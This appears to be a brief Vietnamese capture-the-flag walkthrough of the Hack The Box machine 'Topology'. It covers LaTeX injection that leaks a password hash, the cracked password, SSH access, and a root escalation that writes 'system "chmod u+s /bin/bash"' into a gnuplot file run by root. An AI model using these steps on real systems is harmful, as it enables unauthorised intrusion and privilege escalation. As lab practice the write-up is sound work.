**Topology - HTB CTF**
# Recon
Nmap

Mở port 22, 80
Vào site xem sao ://

---
# Enmu
Từ đây, biết được domain là `topologi.htb`

Thấy có link của một subdomain nữa ://

```
http://latex.topology.htb/equation.php
```
Fuzz được vài cái nữa nên mình vứt hết vào file host luôn


Thử chút latex-inject xem sao ://
>https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LaTeX%20Injection
> https://book.hacktricks.xyz/pentesting-web/formula-doc-latex-injection
Sau một hồi vọc vạch thì ...

Trả về hash

---
# Leo quyền user
Từ Hash
```
vdaisley:$apr1$1ONUB/S2$58eeNVirnRDB5zAIbIxTY0
```
Crack ra được password của user `vdaisley`

> calculus20
SSH vào thành công :V

Lượn lờ ://

Lấy thành công flag user

---
# Leo root
Kéo thằng PSPY vào để xem nó phân tích được gì không ://
> https://github.com/DominicBreuker/pspy


Tìm thấy có một cái tiến trình của target đang chạy và thực thi cái file dạng .plt với quyền root :100:

Echo vào một file.plt rồi để target tự chạy file rồi lên quyền thôi :>
`echo 'system "chmod u+s /bin/bash"' > /opt/gnuplot/privesc.plt`

`bash -p` để nâng quyền mình lên root :V

Lên root

Done